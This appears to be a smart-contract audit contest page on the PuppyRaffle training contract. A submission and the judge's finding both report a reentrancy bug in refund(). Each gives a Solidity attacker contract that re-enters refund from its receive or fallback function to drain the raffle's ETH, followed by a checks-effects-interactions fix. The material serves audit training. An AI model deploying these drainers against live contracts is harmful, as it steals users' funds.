Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

Reentrancy in refund: the ETH is sent before the player slot is zeroed, letting a malicious player drain the entire raffle balance

Reentrancy in refund lets a player repeatedly reclaim their entrance fee

Description

PuppyRaffle::refund (src/PuppyRaffle.sol:96-105) sends ETH to the caller before it zeroes out the player's slot, violating checks-effects-interactions. A contract player can re-enter refund from its receive() while players[playerIndex] still holds its own non-zero address, so both require checks pass again and the fee is refunded on every re-entry.

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
payable(msg.sender).sendValue(entranceFee); // @> external call BEFORE state update
players[playerIndex] = address(0); // @> effect happens too late
emit RaffleRefunded(playerAddress);
}

Risk

Likelihood:

High. Any entrant can deploy a contract, enter the raffle, then call refund once; the recursive callback path is trivial to write and triggers deterministically with no special timing or block conditions.

Impact:

High. The attacker reclaims far more than the single fee they paid, draining ETH that belongs to other entrants and to the prize/fee pool, breaking the contract's accounting and solvency.

Proof of Concept

An attacker contract enters, calls refund, and re-enters from receive() until the contract is drained.

contract ReentrancyAttacker {
PuppyRaffle raffle;
uint256 fee;
uint256 idx;
constructor(PuppyRaffle _r) { raffle = _r; fee = _r.entranceFee(); }
function attack() external payable {
address[] memory me = new address[](1);
me[0] = address(this);
raffle.enterRaffle{value: fee}(me);
idx = raffle.getActivePlayerIndex(address(this));
raffle.refund(idx);
}
receive() external payable {
if (address(raffle).balance >= fee) raffle.refund(idx);
}
}

Recommended Mitigation

Update state before the external call (and/or add a reentrancy guard).

- payable(msg.sender).sendValue(entranceFee);
-
- players[playerIndex] = address(0);
- emit RaffleRefunded(playerAddress);
+ players[playerIndex] = address(0);
+ emit RaffleRefunded(playerAddress);
+ payable(msg.sender).sendValue(entranceFee);
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 3 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Reentrancy Vulnerability In refund() function

## Description The `PuppyRaffle::refund()` function doesn't have any mechanism to prevent a reentrancy attack and doesn't follow the Check-effects-interactions pattern ## Vulnerability Details ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); payable(msg.sender).sendValue(entranceFee); players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); } ``` In the provided PuppyRaffle contract is potentially vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract.a malicious contract could re-enter the refund function before the state is updated. ## Impact If exploited, this vulnerability could allow a malicious contract to drain Ether from the PuppyRaffle contract, leading to loss of funds for the contract and its users. ```javascript PuppyRaffle.players (src/PuppyRaffle.sol#23) can be used in cross function reentrancies: - PuppyRaffle.enterRaffle(address[]) (src/PuppyRaffle.sol#79-92) - PuppyRaffle.getActivePlayerIndex(address) (src/PuppyRaffle.sol#110-117) - PuppyRaffle.players (src/PuppyRaffle.sol#23) - PuppyRaffle.refund(uint256) (src/PuppyRaffle.sol#96-105) - PuppyRaffle.selectWinner() (src/PuppyRaffle.sol#125-154) ``` ## POC <details> ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "./PuppyRaffle.sol"; contract AttackContract { PuppyRaffle public puppyRaffle; uint256 public receivedEther; constructor(PuppyRaffle _puppyRaffle) { puppyRaffle = _puppyRaffle; } function attack() public payable { require(msg.value > 0); // Create a dynamic array and push the sender's address address[] memory players = new address[](1); players[0] = address(this); puppyRaffle.enterRaffle{value: msg.value}(players); } fallback() external payable { if (address(puppyRaffle).balance >= msg.value) { receivedEther += msg.value; // Find the index of the sender's address uint256 playerIndex = puppyRaffle.getActivePlayerIndex(address(this)); if (playerIndex > 0) { // Refund the sender if they are in the raffle puppyRaffle.refund(playerIndex); } } } } ``` we create a malicious contract (AttackContract) that enters the raffle and then uses its fallback function to repeatedly call refund before the PuppyRaffle contract has a chance to update its state. </details> ## Recommendations To mitigate the reentrancy vulnerability, you should follow the Checks-Effects-Interactions pattern. This pattern suggests that you should make any state changes before calling external contracts or sending Ether. Here's how you can modify the refund function: ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); // Update the state before sending Ether players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); // Now it's safe to send Ether (bool success, ) = payable(msg.sender).call{value: entranceFee}(""); require(success, "PuppyRaffle: Failed to refund"); } ``` This way, even if the msg.sender is a malicious contract that tries to re-enter the refund function, it will fail the require check because the player's address has already been set to address(0).Also we changed the event is emitted before the external call, and the external call is the last step in the function. This mitigates the risk of a reentrancy attack.

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